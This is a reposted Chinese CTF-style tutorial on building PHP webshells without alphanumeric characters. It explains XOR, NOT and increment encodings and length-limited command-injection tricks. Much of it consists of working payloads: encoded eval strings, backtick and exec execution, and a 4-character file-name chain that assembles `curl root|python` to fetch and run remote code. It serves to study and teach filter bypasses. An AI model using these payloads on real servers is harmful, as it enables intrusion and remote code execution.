淺談無字母數字構造webshell


0x00 問題

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

讀一下代碼,我們要對code進行傳參,code的參數在經過變換后以不含字母數字的形式構造任意字符,並且字符串的長度小於40,
然后再利用 PHP允許動態函數執行的特點,拼接處一個函數名,這里我們是 "getFlag",然后動態執行之即可。

0x01 解決思路

上篇文章就提過了,三種方法,這里我們繼續深入:
來源:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
php5中assert是一個函數,我們可以通過$f='assert';$f(...);這樣的方法來動態執行任意代碼

但php7中,assert不再是函數,變成了一個語言結構(類似eval),不能再作為函數名動態執行代碼,所以利用起來稍微復雜一點。但也無需過於擔心,比如我們利用file_put_contents函數,同樣可以用來getshell

我們有三種方法來構造webshell:
1:異或。

在PHP中,兩個字符串執行異或操作以后,得到的還是一個字符串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數字的字符,他們的異或結果是這個字母即可。

在PHP中,兩個變量進行異或時,先會將字符串轉換成ASCII值,再將ASCII值轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了ASCII值,再將ASCII值轉換成字符串。異或操作有時也被用來交換兩個變量的值

想得到我們想要的異或后的字符:

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      \\dechex(255) = ff
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l`$r\}";
?>

這里的話我們異或只能構造GET型,POST不行
然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以執行一些函數。拋開這道題,我們還可以: http://127.0.0.1/?_=${����^����}{�}("type index.php");&%ff=system。
exp:

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[777]);

2:取反構造

和方法一有異曲同工之妙,唯一差異就是,方法一使用的是位運算里的“異或”,方法二使用的是位運算里的“取反”。方法二利用的是UTF-8編碼的某個漢字,並將其中某個字符取出來,比如'和'{2}的結果是"\x8c",其取反即為字母s

3:自增構造
參考鏈接
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

'a'++ => 'b','b'++ => 'c'

我們都知道,PHP是弱類型的語言,也就是說在PHP中我們可以不預先聲明變量的類型,而直接聲明一個變量並進行初始化或賦值操作。正是由於PHP弱類型的這個特點,我們對PHP的變類型進行隱式的轉換,並利用這個特點進行一些非常規的操作。如將整型轉換成字符串型,將布爾型當作整型,或者將字符串當作函數來處理,下面我們來看一段代碼:

<?php
    function B(){
        echo "K0i";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

1:$_++; 這行代碼的意思是對變量名為"_"的變量進行自增操作,在PHP中未定義的變量默認值為null,nullfalse0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字
2:$__="?" ^ "}"; 對字符"?"和"}"進行異或運算,得到結果B賦給變量名為"__"(兩個下划線)的變量
3:$ __ (); 通過上面的賦值操作,變量$__的值為B,所以這行可以看作是B(),在PHP中,這行代碼表示調用函數B,所以執行結果為K0i。在PHP中,我們可以將字符串當作函數來處理。

我們希望使用這種后門創建一些可以繞過檢測的並且對我們有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我們需要的東西。

0x02 解決問題

最開始我們想到利用異或解決問題:
怎么生成我們需要的異或后的字符呢?比如_GET?
一個一個試就太麻煩了,我們利用下面的這個python3腳本:
ps:上面的PHP腳本也行,但是我本地環境問題並沒有運行出來。。

import urllib.parse
find = ['G','E','T','_']//這里沒有順序
for i in range(1,256):
    for j in range(1,256):
        result = chr(i^j)
        if(result in find):
            a = i.to_bytes(1,byteorder='big')
            b = j.to_bytes(1,byteorder='big')
            a = urllib.parse.quote(a)
            b = urllib.parse.quote(b)
            print("%s:%s^%s"%(result,a,b))

我們看到
生成了多組數據,任意取一組就行,注意順序:
比如:

_:%FE^%A1
G:%FE^%B9
E:%FE^%BB
T:%FE^%AA

最后湊出:

?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

我們這里的payload是把前面和后面分別放在了一起,很明顯前面都是%fe

最成功調用get_the_flag函數

回到問題,異或方法並不可以,
最后構造的字串遠遠超過了長度len=40

我們該如何構造這個字串使得長度小於40呢?
以下解決方案轉載自:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

我們最終是要讀取到那個getFlag函數,我們需要構造一個_GET來去讀取這個函數,我們最終構造了如下字符串:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

下面開始分析我們的payload:

1:構造_GET讀取

首先我們得知道_GET由什么異或而來的:
這個我看師傅博客也是試出來的。。

<?php
    echo "`{{{"^"?<>/";//_GET
    ?>

這段代碼一大坨是啥意思呢?因為40個字符長度的限制,導致我們上面的逐個字符異或拼接的webshell不能使用。
這里可以使用php中可以執行命令的反引號  和Linux下面的通配符?

? 代表匹配一個字符
` 表示執行命令
" 對特殊字符串進行解析

由於?只能匹配一個字符,這種寫法的意思是循環調用,分別匹配。我們將其進行分解來看:

<?php
    echo "{"^">";?>

<?php
    echo "{"^"/";?>

所以_GET就是這么被構造出來的

②獲取_GET參數

如何獲取呢?咱們可以構造出如下字串:

<?php
    echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]
    )?>

根據前面構造的來看,$已經變成了_GET。
順理成章的來講,$
= _GET這個字符串。
我們構建$_GET[ __ ]是為了要獲取參數值

3:傳入參數

此時我們只需要去調用getFlag函數獲取webshell就好了,構造如下:

<?php
    echo $_=getFlag;//getFlag
    ?>

所以把參數全部連接起來,就可以了~~

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

補充:
其他payload:
這個是把getFlag取反然后URL編碼:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

~ 在 {} 中執行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相當於 $_GET,拼接出了 $_GET'+';,傳入 +=getFlag() 從而執行了函數:

?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

$啊=getFlag;$啊();,這里就不需要用 {} 了,因為取反的值直接被當作字符串賦值給了 $ 啊。:

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

0x03 擴展(如何在長度受限,函數參數受限拿webshell)

以下內容轉載自:
https://www.cnblogs.com/ECJTUACM-873284962/p/9452263.html

0x04 問題提出

<?php
    $param = $_REGUEST['param'];
    if(strlen($param) < 17){
        eval($param);
    }
?>

上面這部分意思只是叫我們繞過長度受限就可以執行代碼。這個其實就很簡單了,我們可以采用調用eval或者assert這種后門函數就可以直接繞過了~~
eval函數中參數是字符,比如像下面這樣子:

eval('echo 1;');

assert函數中參數為表達式(或者為函數),我們可以像下面這樣子去實現:

assert(phpinfo()) 

而我參看了PHP手冊才了解到,assert是函數,eval不是函數,是一種語言構造器,eval($a)中$a只能是字符串,assert($a)中$a可以是php代碼,也可以是php代碼的字符串。assert($a)的$a如果是字符串形式不能有2個以上的分號,如果有2個以上的分號只執行到第一個,使用assert來執行多條php語句可借助eval來實現。例如像下面這個樣子:

assert(eval("echo 1;echo 2;"));

結果如下:

比如像上面這句,如果是assert(eval("echo 1;echo 2")),這樣寫是不會執行echo 1也不會執行echo 2的,因為eval使用的字符串要是有分號的php語句,只要有字符串,它就可以當作命令來執行~~

那如果像下面這個例子呢?

<?php
    $param = $_REGUEST['param'];
    if(
        strlen($param) < 17 &&
        stripos($param, 'eval') == false &&
        stripos($param, 'assert') == false
    ){
        eval($param);
    }
?>

0x05 問題解決

striops函數是用來查找目標字符串在字符串中第一次出現的位置。這里的意思是限制了長度最長為 16 個字符,而且不能用 eval 或 assert,這樣我們又該怎么執行命令。

我們可以通過命令執行來繞過限制:

param=`$_GET[1]`;&1=bash

當然了,我們也可以用 exec函數:

param=exec($_GET[1]);

那如果是這個呢?

<?php
    $command = 'dir '.$_POST['dir'];
    $escaped_command = escapeshellcmd($command);
    var_dump($escaped_command);
    file_put_contents('out.bat',$escaped_command);
    system('out.bat');
?>

我們對其進行測試:

我們應該如何去繞過呢?
我們來看看這些函數,escapeshellcmd() 函數對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec() 或 system() 函數,或者執行操作符之前進行轉義。
那么這個函數具體會轉義哪些字符呢?我們通讀了源碼可以知道,下圖這些字符都可以用^來取代其意義。也就是沒辦法用& | 來執行其他命令,只能列目錄

那么我們萌生了一個這樣的一個tips:執行.bat文件的時候,利用%1a,可以繞過過濾執行命令,我們做了如下嘗試:

前面我們已經說了如何限制在16個字符內的情況下拿到webshell,在二進制漏洞利用中,當我們遇到可控數據只有8字節的情況,去掉字符串尾的\0,限制在7個字符。那么在這種情況下,我們又該怎么辦呢?
還是看之前那個例子,把命令長度變成7。

<?php
    $param = $_REGUEST['param'];
    if(strlen($param) < 8){
        eval($param);
    }
?>

這讓我想起趙本山演的那個小品《鍾點工》里面的一個問題,把大象放進冰箱應該分為幾步?此時我們需要鋪墊一些基礎知識了。
我們可以進行命令的拼裝。我們來個條件更加苛刻的問題,命令長度限制在5,如何完成注入,成功get到webshell呢?

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

舉個例子,我們要執行echo hello這個命令,我們應該怎么辦呢?
我們可以進行如下構造:

>echo
>>hello

結果如下:

我們可以看到創建了兩個文件,分別是echo和hello,我們執行*命令

我們可以看到,執行了echo hello這行命令,所以直接打印出了hello字符串
我們可以通過echo 來查看一下里面的內容

我們通過將>echo和>hello 完成命令拼接,然后用* 組成並執行了命令echo hello
如果條件再苛刻一點呢?把命令長度限制在4,如何完成注入,成功get到webshell呢?

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

比如,我們想要執行ls -l命令,我們可以模仿上面這種做法,進行如下構造:

>ls
>-l

我們可以看到創建了兩個文件,分別是ls和-l,我們執行*命令

誒,這咋回事啊,咋還報錯了呢?
其實啊,我們剛才生成的echo和hello,e的ASCII值要小於h,所以排序的時候自動將echo排在前面,hello排在后面,而ls我們可以看到,此時文件的顯示順序是-l在ls的前面。如果我們執行* 其實是執行-l ls會彈出報錯信息

那么我們又該如何獲得ls -l呢?

0x06 解決方案

01.命令內容反序

最簡單的一種方式就是按照命令內容反着轉過來。
我們可以這個命令字符序列反過來看 l- sl,這樣是不是順序正好滿足要求呢?接下來我們只需要用一個可以把字符反過來的命令rev,就可以完成這個功能
所以首先第一步,我們先創建了兩個文件,分別是l-和sl。

>l-
>sl

結果如下:

然后將l- sl組合寫入文件v,然后查看v文件里面的內容。

這里面我們可以看到文件v中多了一個v,對我們命令造成干擾,如果我們只想文件中存在l-和sl,那該怎么辦呢?

這里有個小trick,dir a b>c這個命令可以將a b寫到文件c中,不會寫入多余的命令進去

我們創建一個名為dir的文件,然后執行*>v,可以獲得l- 和ls

>dir
>echo *
>*>v
cat v

然后我們就只需要對這個命令字符序列反轉一下就行了,這里我們有一個rev命令,正好可以將內容反序。

所以我們需要產生一個名為rev的文件,然后執行*v ,此時命令相當於rev v,命名為v是為了被通配符匹配,這樣就產生了我們要的輸出ls -l。

>rev
ls
*v

然后就是輸出到文件x,然后就可以執行sh x,成功以4個字符執行長度為5的ls -l命令。

*v>x
cat x
sh x

把上面寫的命令編成一個shell腳本如下:

#!/usr/bin/env bash
>l-
>sl
>dir
*>v
>rev
*v>x
sh x

我們可以看到,整個命令鏈長度均小於等於4,這樣我們就可以愉快的執行ls -l命令了~

02.時間排序技巧

在ls命令里面有個參數-t,可以根據出現的時間進行排序,先生成的文件排在后面,后生成的文件排在前面,類似於棧的結構。

假設我們要生成ls -t >g命令,它的逆序是g< t- sl,按照ASCII值排序方式的話,t-會在sl后面,不滿足需求。所以我們變通一下,生成命令ls -th >g,逆序就是g> ht- sl,正好滿足順序要求。

>g\>
>ht-
>sl
>dir
*>v
>rev
*v>x
cat x

03.續行符技巧拼接命令

Linux里面有個神奇的符號(反斜杠),可以進行命令的續行,比如下面這個例子,我創建了兩個文件a和b,我們通過ls命令查看效果和續行效果是一樣的。

>a
>b
ls
l\
s

這樣,我們就可以構造一連串的拼接命令進行續行操作。再比如,我要構造命令curl root|python

>on
>th\\
>py\\
>\|\\
>ot\\
>ro\\
>\ \\
>rl\\
>cu\\
ls -t

這里我們可能會有點疑問,>th\這里看着是5個字符,超過了4個的限制,實際上是因為shell環境需要輸入\產生\,但是php代碼exec時,只需要輸入\即可產生\,比如 exec(“>th\”)即可。所以這里實際上是不超過4個字符的。

我們再執行ls -th>g,把這些按照時間順序導入到g文件里面,再查看一下g文件

然后執行sh g反彈shell即可,這里我就不演示給大家看了,大家可以自己在本機上進行嘗試即可~~
這里對如何在命令長度受限的情況下成功get到webshell做個小結:

w長度最短的命令
ls -t 以創建時間來列出當前目錄下所有文件
文件列表以[換行符]分割每個文件
引入 `\` 轉義ls時的換行
換行不影響命令執行
成功構造任意命令執行,寫入Webshell

關於mysql部分還有一些注釋技巧,我給大家列一下

[#] 行內注釋
[-- ] 行內注釋,注意末尾的空格
[/*...*/] 段注釋,可多行
[`] 某些情況下,可以作為注釋
[;] 支持多句執行的情況下,可直接用分號閉合第一句SQL語句

具體的參考P牛的課件:來自小密圈里的那些奇技淫巧

參考鏈接:

https://www.cnblogs.com/ECJTUACM-873284962/p/9452263.html
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html?page=2#reply-list


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM